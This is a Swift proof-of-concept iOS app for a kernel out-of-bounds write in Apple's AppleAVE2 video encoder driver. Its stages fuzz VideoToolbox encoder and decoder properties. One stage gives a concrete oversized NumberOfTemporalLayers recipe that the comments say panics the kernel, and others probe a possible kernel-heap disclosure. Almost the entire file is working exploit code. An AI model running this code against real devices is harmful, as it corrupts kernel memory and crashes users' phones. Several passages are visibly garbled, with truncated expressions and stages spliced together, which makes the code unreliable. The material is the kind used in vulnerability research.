// AVE27 · standalone POC app for CVE-2026-112705 (AppleAVE2 NumberOfTemporalLayers OOB write) // Runner: all encoder-side stages ported from MchinaMd57764/AVETemporalPoC // (original discovery: Calif / Chollima team). stage9 is the panic trigger: // EncoderUsage=1 + RCMode=20 + NumberOfTemporalLayers=16463 → kernel data abort // in com.apple.driver.AppleAVE2 on iOS 27.0.1; 16462 survives; 27.2 returns -12900. // Live oracle: Documents/live.txt — the last line before a panic is "stage9(...) encode[0]". import Foundation import IOSurface import VideoToolbox import CoreMedia import CoreVideo private let decLock = NSLock() private var decResults: [String] = [] final class Probe { static let shared = Probe() private(set) var log = "" /// UI refresh hook — set by ContentView so the console updates live. var onUpdate: (() -> Void)? // ---- panic journal: written before any panic-capable encode, checked on next // launch. An unfinished record + a changed kernel boot time = the run ended in // a kernel panic (the in-app equivalent of the .ips ResetCounter evidence). private lazy var journalURL: URL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] .appendingPathComponent("panic-journal.json") struct PanicRecord: Codable { var stage: String var ntl: Int var bootSeconds: Int64 var startedAt: String var finished: Bool } func bootSeconds() -> Int64 { var tv = timeval(tv_sec: 0, tv_usec: 0) var len = MemoryLayout.size sysctlbyname("kern.boottime", &tv, &len, nil, 0) return Int64(tv.tv_sec) } func armJournal(_ stage: String, ntl: Int) { let rec = PanicRecord(stage: stage, ntl: ntl, bootSeconds: bootSeconds(), startedAt: ISO8601DateFormatter().string(from: Date()), finished: false) if let d = try? JSONEncoder().encode([rec]) { try? d.write(to: journalURL) } emit("journal armed: stage=\(stage) ntl=\(ntl) boot=\(rec.bootSeconds)") } func finishJournal() { guard let d = try? Data(contentsOf: journalURL), var recs = try? JSONDecoder().decode([PanicRecord].self, from: d), !recs.isEmpty else { return } recs[recs.count - 1].finished = true if let d = try? JSONEncoder().encode(recs) { try? d.write(to: journalURL) } } /// Called on launch: if the last armed run never finished and the kernel has /// rebooted since it armed, that run panicked the device. func checkPanicEvidence() { guard let d = try? Data(contentsOf: journalURL), let recs = try? JSONDecoder().decode([PanicRecord].self, from: d), let last = recs.last, !last.finished else { return } let now = bootSeconds() if now > last.bootSeconds { emit("PANIC EVIDENCE: stage \(last.stage) ntl=\(last.ntl) armed at \(last.startedAt) never finished") emit("kernel rebooted since (boot \(last.bootSeconds) → \(now)) — that run ended in a kernel panic") emit("confirm against Settings → Privacy → Analytics → panic-evidence .ips") } } private lazy var liveURL: URL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] .appendingPathComponent("live.txt") func emit(_ s: String) { log += s + "\n" NSLog("AVEPOC %@", s) onUpdate?() let dir = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] var isDir: ObjCBool = false if !FileManager.default.fileExists(atPath: dir.path, isDirectory: &isDir) || !isDir.boolValue { try? FileManager.default.removeItem(at: dir) try? FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true) } if let d = (s + "\n").data(using: .utf8) { if let h = try? FileHandle(forWritingTo: liveURL) { h.seekToEndOfFile(); h.write(d); try? h.close() } else { try? d.write(to: liveURL) } } } func fourCC(_ v: OSType) -> String { let bytes: [UInt8] = [ UInt8((v >> 24) & 0xff), UInt8((v >> 16) & 0xff), UInt8((v >> 8) & 0xff), UInt8(v & 0xff) ] return String(bytes: bytes, encoding: .ascii) ?? "?" } func makeSession(codec: CMVideoCodecType, w: Int32, h: Int32) -> VTCompressionSession? { var session: VTCompressionSession? let status = VTCompressionSessionCreate( allocator: kCFAllocatorDefault, width: w, height: h, codecType: codec, encoderSpecification: nil, imageBufferAttributes: nil, compressedDataAllocator: nil, outputCallback: nil, refcon: nil, compressionSessionOut: &session) emit("VTCompressionSessionCreate(\(fourCC(codec))) status=\(status)") return session } func readBack(_ session: VTSession, _ key: CFString) -> String { var out: CFTypeRef? let st = VTSessionCopyProperty(session, key: key, allocator: kCFAllocatorDefault, valueOut: &out) if st != 0 { return "copyErr=\(st)" } if let n = out as? NSNumber { return "value=\(n.intValue)" } return "value=\(String(describing: out))" } /// Stage 1: only set/read properties. No encode, no frame submission. func stage1() { var encoderList: CFArray? let lst = VTCopyVideoEncoderList(nil, &encoderList) if lst != 0 { emit("VTCopyVideoEncoderList status=\(lst)") } if let list = encoderList as? [[String: Any]] { for e in list { let codec = (e[kVTVideoEncoderList_CodecType as String] as? NSNumber)?.uint32Value ?? 0 if codec == kCMVideoCodecType_HEVC { emit("encoder HEVC: \(e[kVTVideoEncoderList_EncoderID as String] ?? "?") name=\(e[kVTVideoEncoderList_DisplayName as String] ?? "?")") } } } guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("no session") return } var encoderID: CFString? var supported: CFDictionary? let s1 = VTCopySupportedPropertyDictionaryForEncoder( width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) emit("SupportedPropertyDictionary status=\(s1) encoderID=\(encoderID ?? "nil" as CFString)") if let sup = supported as? [String: Any] { let keys = sup.keys.sorted() emit("supported count=\(keys.count) hasNumberOfTemporalLayers=\(keys.contains("NumberOfTemporalLayers"))") let interesting = keys.filter { $0.lowercased().contains("temporal") || $0.lowercased().contains("mvhevc") || $0.lowercased().contains("layer") } emit("layer-ish keys: \(interesting)") } let key = "NumberOfTemporalLayers" as CFString for v in [1, 4, 7, 8, 16, 64] { let st = VTSessionSetProperty(session, key: key, value: NSNumber(value: v)) emit("SetProperty NumberOfTemporalLayers=\(v) status=\(st) readback: \(readBack(session, key))") } VTCompressionSessionInvalidate(session) } /// Stage 2: submit frames with a value the pre-fix driver never bounded. func stage2(value: Int, realtime: Bool = true, efr: Int = 30, blr: Int = 15) { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("no session") return } _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: realtime ? kCFBooleanTrue : kCFBooleanFalse) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) let sEfr = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: efr)) let sBlr = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: blr)) let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: value)) emit("stage2 rt=\(realtime) efr=\(efr)(\(sEfr)) blr=\(blr)(\(sBlr)) NumberOfTemporalLayers(\(value)) status=\(st)") var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pb: CVPixelBuffer? let pst = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pb) emit("CVPixelBufferCreate status=\(pst)") guard let pixel = pb else { return } for i in 0..<40 { let pts = CMTime(value: CMTimeValue(i), timescale: 30) let est = VTCompressionSessionEncodeFrame( session, imageBuffer: pixel, presentationTimeStamp: pts, duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } emit("EncodeFrame[\(i)] status=\(est)") if est != 0 { break } } VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) emit("after-encode readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) emit("stage2 complete") VTCompressionSessionInvalidate(session) } /// Stage 3: brute-force property acceptance. No encode. func fuzz() { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("no session"); return } var encoderID: CFString? var supported: CFDictionary? let s1 = VTCopySupportedPropertyDictionaryForEncoder( width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) if let sup = supported as? [String: Any] { let keys = sup.keys.sorted() try? keys.joined(separator: "\n").write( to: FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] .appendingPathComponent("props.txt"), atomically: true, encoding: .utf8) emit("supported count=\(keys.count) dumpStatus=\(s1)") } let candidates = [ "NumOfTemporalLayer", "NumberOfTemporalLayers", "NumOfGOPLayer", "MCTFStrengthLevel", "RPSData", "RPSInfo", "ChromaQPIndexOffsetMultiPPS", "HEVCTemporalLevelInfoCombinations", "CreateTemporalLevelInfoDictionary", "HEVCAuxiliaryLayerIDs", "MVHEVCVideoLayerIDs", "NumberOfSlices", "AbsDeltaRPSMinus1", "DeltaRPSSign", "MultiReferencePSpacing", "NumNegativePics", "NumPositivePics", "NumOfBFrame", "NumOfPFrame", "MaximumReferenceFrameDistance", "RefNumOfBFrameL0", "RefNumOfBFrameL1", "RefNumOfPFrame", "LRMERSPassNum", "MCTFMaxNextRefNum" ] let numbers = [0, 1, 2, 3, 8, 16, 64, 1000] for key in candidates { var line = "KEY \(key):" for v in numbers { let st = VTSessionSetProperty(session, key: key as CFString, value: NSNumber(value: v)) line += " n\(v)=\(st)" } let bigArr = (0..<16).map { NSNumber(value: $0 + 1) } as CFArray let stArr = VTSessionSetProperty(session, key: key as CFString, value: bigArr) line += " arr16=\(stArr)" emit(line) } emit("fuzz done") VTCompressionSessionInvalidate(session) } /// Stage 4: multi-PPS chroma QP ladder then encode. func stage4(count: Int) { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("no session"); return } _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) let s = Array(repeating: "0", count: count).joined(separator: " ") let st = VTSessionSetProperty(session, key: "ChromaQPIndexOffsetMultiPPS" as CFString, value: s as CFString) let rd = readBack(session, "ChromaQPIndexOffsetMultiPPS" as CFString) emit("stage4 ChromaQPIndexOffsetMultiPPS(count=\(count)) status=\(st) readback: \(rd)") var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pb: CVPixelBuffer? _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pb) guard let pixel = pb else { emit("no pixel"); return } for i in 0..<12 { let pts = CMTime(value: CMTimeValue(i), timescale: 30) let est = VTCompressionSessionEncodeFrame( session, imageBuffer: pixel, presentationTimeStamp: pts, duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } emit("EncodeFrame[\(i)] status=\(est)") if est != 0 { break } } VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) emit("stage4 complete") VTCompressionSessionInvalidate(session) } /// Stage 5: probe the layer/PS-ID array properties that feed the kext VPS validator. func stage5() { let keys = [ "MVHEVCVideoLayerIDs", "MVHEVCViewIDs", "MVHEVCLeftAndRightViewIDs", "HEVCAuxiliaryLayerIDs", "RequiredMVHEVCSequenceParameterSetIDs", "RequiredMVHEVCPictureParameterSetIDs", "RequiredMVHEVCVideoParameterSetAlphaVideoLayerIDs", "RequiredHEVCVideoParameterSetAlphaLayerID", "HEVCTemporalLevelInfoCombinations", "TemporalIDNestingFlag", "BaseLayerFrameRate", ] func arr(_ n: Int, _ v: Int = 0) -> CFArray { Array(repeating: NSNumber(value: v), count: n) as CFArray } func arr64() -> CFArray { Array((0..<64).map { NSNumber(value: $0 % 64) }) as CFArray } func shape(_ tag: String, _ v: Any) -> (String, Any) { (tag, v) } let shapes: [(String, Any)] = [ shape("n1", NSNumber(value: 1)), shape("n0", NSNumber(value: 0)), shape("a1", arr(1)), shape("a2", arr(2)), shape("a4", arr(4)), shape("a16", arr(16)), shape("a64", arr64()), shape("a2seq", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), shape("truth", kCFBooleanTrue as Any), ] for name in keys { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("stage5 \(name): no session"); continue } var line = "stage5 \(name):" for (tag, value) in shapes { let st = VTSessionSetProperty(session, key: name as CFString, value: value as CFTypeRef) line += " \(tag)=\(st)" } emit(line) VTCompressionSessionInvalidate(session) } emit("stage5 complete") } private func compact(_ v: Any?) -> String { guard let v = v else { return "nil" } if let d = v as? [String: Any] { return "{" + d.keys.sorted().map { "\($0)=\(compact(d[$0]))" }.joined(separator: ",") + "}" } if let a = v as? [Any] { return "[" + a.prefix(8).map { compact($0) }.joined(separator: ",") + (a.count > 8 ? ",..." : "") + "]" } if let n = v as? NSNumber { return "\(n)" } if let s = v as? String { return s } return String(describing: v) } /// Stage 7: dump the complete supported-property dictionary with per-key metadata /// (MinValue/MaxValue/PropertyType/DefaultValue), for both HEVC and AVC. func stage7() { for codec in [kCMVideoCodecType_HEVC, kCMVideoCodecType_H264] { var encoderID: CFString? var supported: CFDictionary? let st = VTCopySupportedPropertyDictionaryForEncoder( width: 1280, height: 720, codecType: codec, encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) emit("== stage7 \(fourCC(codec)) status=\(st) encoderID=\(encoderID ?? "nil" as CFString)") guard let sup = supported as? [String: Any] else { emit("no dict"); continue } emit("stage7 \(fourCC(codec)) count=\(sup.count)") for k in sup.keys.sorted() { emit("D \(fourCC(codec)) \(k) \(compact(sup[k]))") } } emit("stage7 complete") } /// Stage 8: set one property key to each value, then encode; used for keys whose /// dictionary range changed between builds. func stage8(key: String, values: [Int]) { for v in values { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("stage8 \(key)=\(v): no session"); continue } _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) _ = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: 15)) let st = VTSessionSetProperty(session, key: key as CFString, value: NSNumber(value: v)) emit("stage8 \(key)=\(v) setStatus=\(st) readback: \(readBack(session, key as CFString))") if st == 0 { var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pb: CVPixelBuffer? _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pb) if let pixel = pb { var bad = 0 for i in 0..<20 { let pts = CMTime(value: CMTimeValue(i), timescale: 30) let est = VTCompressionSessionEncodeFrame( session, imageBuffer: pixel, presentationTimeStamp: pts, duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } if est != 0 { bad = Int(est); emit("stage8 \(key)=\(v) encode[\(i)] status=\(est)"); break } } VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) emit("stage8 \(key)=\(v) encodeDone bad=\(bad)") } } VTCompressionSessionInvalidate(session) } emit("stage8 complete") } /// Stage 9: v190 recipe — EncoderUsage=1, RCMode=20, oversized NumberOfTemporalLayers, /// then the first frame submit (PrepareToEncodeFrames). Live oracle: last line in live.txt /// tells how far it got; a kernel panic after "encode[0]" is the defect firing. func stage9(n: Int) { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("stage9(\(n)): no session"); return } let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1)) let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20)) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: n)) emit("stage9(\(n)) usage=\(sUsage) rc=\(sRC) ntl=\(st) readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pb: CVPixelBuffer? _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pb) guard let pixel = pb else { emit("stage9: no pixel"); return } armJournal("stage9", ntl: n) for i in 0..<4 { let pts = CMTime(value: CMTimeValue(i), timescale: 30) let est = VTCompressionSessionEncodeFrame( session, imageBuffer: pixel, presentationTimeStamp: pts, duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } emit("stage9(\(n)) encode[\(i)] status=\(est)") if est != 0 { break } } VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) emit("stage9(\(n)) survived") finishJournal() VTCompressionSessionInvalidate(session) emit("stage9 complete") } /// Stage 10: extcal ladder — one temporal-layer count per session, capture the /// parameter sets the encoder returns (VPS/SPS/PPS) with sizes and byte prefixes, /// so a count-driven VPS growth / kernel-heap disclosure shows up app-side. func stage10(n: Int, usage: Int = 0) { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("stage10(\(n),\(usage)): no session"); return } if usage != 0 { let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: usage)) emit("stage10(\(n),\(usage)) encoderUsage status=\(su)") } _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) _ = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: 15)) let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: n)) emit("stage10(\(n),\(usage)) ntl=\(st) readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pb: CVPixelBuffer? _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pb) guard let pixel = pb else { emit("stage10: no pixel"); return } if let y = CVPixelBufferGetBaseAddressOfPlane(pixel, 0) { let h = CVPixelBufferGetHeightOfPlane(pixel, 0) let bpr = CVPixelBufferGetBytesPerRowOfPlane(pixel, 0) memset(y, 0x40, h * bpr) } if let uv = CVPixelBufferGetBaseAddressOfPlane(pixel, 1) { let h = CVPixelBufferGetHeightOfPlane(pixel, 1) let bpr = CVPixelBufferGetBytesPerRowOfPlane(pixel, 1) memset(uv, 128, h * bpr) } var fmtDesc: CMVideoFormatDescription? for i in 0..<3 { let pts = CMTime(value: CMTimeValue(i), timescale: 30) let est = VTCompressionSessionEncodeFrame( session, imageBuffer: pixel, presentationTimeStamp: pts, duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { status, _, sb in if status == 0, let sb = sb, fmtDesc == nil { fmtDesc = CMSampleBufferGetFormatDescription(sb) } } emit("stage10(\(n),\(usage)) encode[\(i)] status=\(est)") if est != 0 { break } } VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) var psBytes = Data() if let fd = fmtDesc { var cnt = 0 var hdr: Int32 = 0 let r0 = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( fd, parameterSetIndex: 0, parameterSetPointerOut: nil, parameterSetSizeOut: nil, parameterSetCountOut: &cnt, nalUnitHeaderLengthOut: &hdr) var i = 0 while i < Int(cnt) { var p: UnsafePointer? var sz = 0 let r = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( fd, parameterSetIndex: i, parameterSetPointerOut: &p, parameterSetSizeOut: &sz, parameterSetCountOut: nil, nalUnitHeaderLengthOut: nil) if r == 0, let p = p, sz > 0 { let type = (Int(p[0]) >> 1) & 0x3f let head = (0..= 3 let req: [CFString: Any] = [ "NumberOfFrames" as CFString: NSNumber(value: n), "AllocateRVRABuffers" as CFString: (alloc ? kCFBooleanTrue : kCFBooleanFalse) as Any ] let sReq = VTSessionSetProperty(session, key: "DPBRequirements" as CFString, value: req as CFDictionary) emit("stage12(\(n),\(shape)) dpbReqStatus=\(sReq)") var ids: [NSNumber] = [] for _ in 0.. start { nals.append(Array(bytes[start.. 0 { aus.append(cur); cur = []; vclCount = 0 } vclCount += 1 } cur.append(n) } if vclCount > 0 { aus.append(cur) } let realCount = aus.count if let first = aus.first { aus.append(first) } emit("stage20 \(file) nals=\(nals.count) aus=\(realCount)") var ds: VTDecompressionSession? var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferPixelFormatTypeKey] = NSNumber(value: kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange) attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary let spec: [CFString: Any] = [ "RequireHardwareAcceleratedVideoDecoder" as CFString: kCFBooleanTrue as Any ] let cst = VTDecompressionSessionCreate(allocator: kCFAllocatorDefault, formatDescription: fd, decoderSpecification: spec as CFDictionary, imageBufferAttributes: attrs as CFDictionary, outputCallback: nil, decompressionSessionOut: &ds) guard cst == 0, let d = ds else { emit("stage20 \(file): decCreate(hwReq)=\(cst)"); return } var hwRef: CFTypeRef? VTSessionCopyProperty(d, key: "UsingHardwareAcceleratedVideoDecoder" as CFString, allocator: kCFAllocatorDefault, valueOut: &hwRef) emit("stage20 \(file) usingHW=\(String(describing: hwRef))") for (idx, au) in aus.enumerated() { let (sbOpt, sbErr) = Self.sampleBuffer(au, fd, pts: CMTimeValue(idx)) guard let sb = sbOpt else { emit("stage20 \(file) au[\(idx)]: no sampleBuffer (\(sbErr))"); continue } var flags = VTDecodeInfoFlags() let st = VTDecompressionSessionDecodeFrame( d, sampleBuffer: sb, flags: [], infoFlagsOut: &flags) { status, _, imageBuffer, _, _ in decLock.lock() decResults.append("au\(idx):cb(st=\(status),img=\(imageBuffer != nil))") decLock.unlock() } if idx < realCount { emit("stage20 \(file) au[\(idx)] slices=\(au.filter { (($0[0] & 0x1f) == 1 || ($0[0] & 0x1f) == 5) }.count) status=\(st)") } } VTDecompressionSessionFinishDelayedFrames(d) VTDecompressionSessionWaitForAsynchronousFrames(d) decLock.lock(); let cb = Array(decResults.prefix(realCount)); decResults = []; decLock.unlock() emit("stage20 \(file) callbacks=\(cb)") emit("stage20 \(file) survived") VTDecompressionSessionInvalidate(d) emit("stage20 complete") } static func h264FormatDescription(_ sps: [UInt8], _ pps: [UInt8]) -> CMVideoFormatDescription? { var fd: CMVideoFormatDescription? let sp = UnsafeMutablePointer.allocate(capacity: sps.count) sp.update(from: sps, count: sps.count) let pp = UnsafeMutablePointer.allocate(capacity: pps.count) pp.update(from: pps, count: pps.count) defer { sp.deallocate(); pp.deallocate() } let sizes: [Int] = [sps.count, pps.count] let ptrs: [UnsafePointer] = [UnsafePointer(sp), UnsafePointer(pp)] let st = ptrs.withUnsafeBufferPointer { pb in sizes.withUnsafeBufferPointer { sz in CMVideoFormatDescriptionCreateFromH264ParameterSets( allocator: kCFAllocatorDefault, parameterSetCount: 2, parameterSetPointers: pb.baseAddress!, parameterSetSizes: sz.baseAddress!, nalUnitHeaderLength: 4, formatDescriptionOut: &fd) } } return st == 0 ? fd : nil } static func firstMbInSlice(_ nal: [UInt8]) -> Int { var rbsp: [UInt8] = [] var zeros = 0 for b in nal.dropFirst() { if zeros >= 2 && b == 3 { zeros = 0; continue } rbsp.append(b) zeros = b == 0 ? zeros + 1 : 0 } var bits: [UInt8] = [] for b in rbsp { for k in (0..<8).reversed() { bits.append((b >> k) & 1) } } var pos = 0 var z = 0 while pos < bits.count && bits[pos] == 0 { z += 1; pos += 1 } if pos >= bits.count { return -1 } pos += 1 var val = 0 for _ in 0.. (CMSampleBuffer?, String) { let total = au.reduce(0) { $0 + 4 + $1.count } guard let p = calloc(1, total)?.assumingMemoryBound(to: Int8.self) else { return (nil, "calloc") } var off = 0 for n in au { let len = UInt32(n.count) p[off] = Int8(bitPattern: UInt8((len >> 24) & 0xff)) p[off + 1] = Int8(bitPattern: UInt8((len >> 16) & 0xff)) p[off + 2] = Int8(bitPattern: UInt8((len >> 8) & 0xff)) p[off + 3] = Int8(bitPattern: UInt8(len & 0xff)) off += 4 n.withUnsafeBufferPointer { src in memcpy(p + off, src.baseAddress!, n.count) } off += n.count } var block: CMBlockBuffer? let bst = CMBlockBufferCreateWithMemoryBlock(allocator: kCFAllocatorDefault, memoryBlock: p, blockLength: total, blockAllocator: kCFAllocatorNull, customBlockSource: nil, offsetToData: 0, dataLength: total, flags: 0, blockBufferOut: &block) guard bst == 0, let bb = block else { return (nil, "blockCreate=\(bst)") } var timing = CMSampleTimingInfo(duration: CMTime(value: 1, timescale: 30), presentationTimeStamp: CMTime(value: pts, timescale: 30), decodeTimeStamp: .invalid) var sb: CMSampleBuffer? let sst = CMSampleBufferCreate(allocator: kCFAllocatorDefault, dataBuffer: bb, dataReady: true, makeDataReadyCallback: nil, refcon: nil, formatDescription: fd, sampleCount: 1, sampleTimingEntryCount: 1, sampleTimingArray: &timing, sampleSizeEntryCount: 0, sampleSizeArray: nil, sampleBufferOut: &sb) guard sst == 0, let s = sb else { return (nil, "sbCreate=\(sst)") } return (s, "ok") } /// Stage 21: RequestedMVHEVCVideoLayerIDs validation — pre-fix accepts any ids. func stage21() { guard let enc = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("stage21: no encoder"); return } _ = VTSessionSetProperty(enc, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) var attrs: [CFString: Any] = [:] attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary var pb: CVPixelBuffer? _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, attrs as CFDictionary, &pb) guard let pixel = pb else { emit("stage21: no pixel"); return } var fd: CMVideoFormatDescription? _ = VTCompressionSessionEncodeFrame( enc, imageBuffer: pixel, presentationTimeStamp: CMTime(value: 0, timescale: 30), duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { status, _, sb in if status == 0, let sb = sb { fd = CMSampleBufferGetFormatDescription(sb) } } VTCompressionSessionCompleteFrames(enc, untilPresentationTimeStamp: .invalid) VTCompressionSessionInvalidate(enc) guard let f = fd else { emit("stage21: no format description"); return } let cases: [[Int]] = [[0, 1], [0], [63], [64], [0, 64], Array(0..<64), Array(0..<300), [999999]] for (i, ids) in cases.enumerated() { var ds: VTDecompressionSession? let cst = VTDecompressionSessionCreate(allocator: kCFAllocatorDefault, formatDescription: f, decoderSpecification: nil, imageBufferAttributes: nil, outputCallback: nil, decompressionSessionOut: &ds) guard cst == 0, let d = ds else { emit("stage21[\(i)] decCreate=\(cst)"); continue } let arr = ids.map { NSNumber(value: $0) } as CFArray let st = VTSessionSetProperty(d, key: "RequestedMVHEVCVideoLayerIDs" as CFString, value: arr) emit("stage21[\(i)] ids=\(ids.count) first=\(ids.first ?? -1) last=\(ids.last ?? -1) status=\(st)") VTDecompressionSessionInvalidate(d) } emit("stage21 survived") } /// Stage 11: feed DPBRequirements an N-element array. Pre-fix the plugin stores the /// raw element count and walks a fixed 17-slot table; 27.2 adds a count<17 gate. func stage11(n: Int) { guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { emit("stage11(\(n)): no session"); return } _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) let arr = (0..? if CMBlockBufferGetDataPointer(db, atOffset: 0, lengthAtOffsetOut: nil, totalLengthOut: &len, dataPointerOut: &ptr) == 0, let p = ptr, len > 0 { bitstream.append(contentsOf: UnsafeBufferPointer( start: UnsafeRawPointer(p).assumingMemoryBound(to: UInt8.self), count: len)) } } if est != 0 { emit("stage6 encode[\(f)] status=\(est)"); break } } VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) var psBytes = Data() if let fd = fmtDesc { var cnt = 0 var hdr: Int32 = 0 let r0 = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( fd, parameterSetIndex: 0, parameterSetPointerOut: nil, parameterSetSizeOut: nil, parameterSetCountOut: &cnt, nalUnitHeaderLengthOut: &hdr) var i = 0 while i < Int(cnt) { var p: UnsafePointer? var sz = 0 let r = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( fd, parameterSetIndex: i, parameterSetPointerOut: &p, parameterSetSizeOut: &sz, parameterSetCountOut: nil, nalUnitHeaderLengthOut: nil) if r == 0, let p = p, sz > 0 { psBytes.append(contentsOf: UnsafeBufferPointer(start: p, count: sz)) } i += 1 } emit("stage6(\(num)) paramSets count=\(cnt) hdrLen=\(hdr) r0=\(r0) bytes=\(psBytes.count)") let psURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] .appendingPathComponent("out_\(num).ps") try? psBytes.write(to: psURL) } else { emit("stage6(\(num)) no format description") } let url = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] .appendingPathComponent("out_\(num).bin") try? bitstream.write(to: url) emit("stage6(\(num)) bytes=\(bitstream.count) saved=\(url.lastPathComponent)") VTCompressionSessionInvalidate(session) } /// Stage 